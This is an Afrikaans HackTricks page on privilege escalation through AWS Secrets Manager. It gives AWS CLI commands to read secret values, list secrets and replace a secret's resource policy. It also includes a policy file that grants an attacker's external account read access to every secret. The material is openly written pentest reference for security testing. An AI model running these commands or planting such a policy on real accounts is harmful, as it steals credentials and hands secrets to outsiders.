# AWS - Secrets Manager Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Secrets Manager

Vir meer inligting oor Secrets Manager sien:

{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}

### `secretsmanager:GetSecretValue`

'n aanvaller met hierdie toestemming kan die **gestoor waarde binne 'n geheim** in AWS **Secretsmanager** kry.
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
```
**Potensiële impak:** Toegang tot hoogsensitiewe data binne die AWS Secrets Manager service.

> [!WARNING]
> Let wel: selfs met die `secretsmanager:BatchGetSecretValue` toestemming sal 'n aanvaller ook `secretsmanager:GetSecretValue` nodig hê om die sensitiewe geheime te bekom.

### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)

Met die vorige permissies is dit moontlik om **toegang te gee aan ander principals/accounts (selfs ekstern)** om toegang tot die **geheim** te kry. Let wel: om **geheime te lees wat met 'n KMS-sleutel versleuteld is**, moet die gebruiker ook **toegang tot die KMS-sleutel** hê (meer info in die [KMS Enum page](../../aws-services/aws-kms-enum.md)).
```bash
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
```
policy.json:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}
```
{{#include ../../../../banners/hacktricks-training.md}}
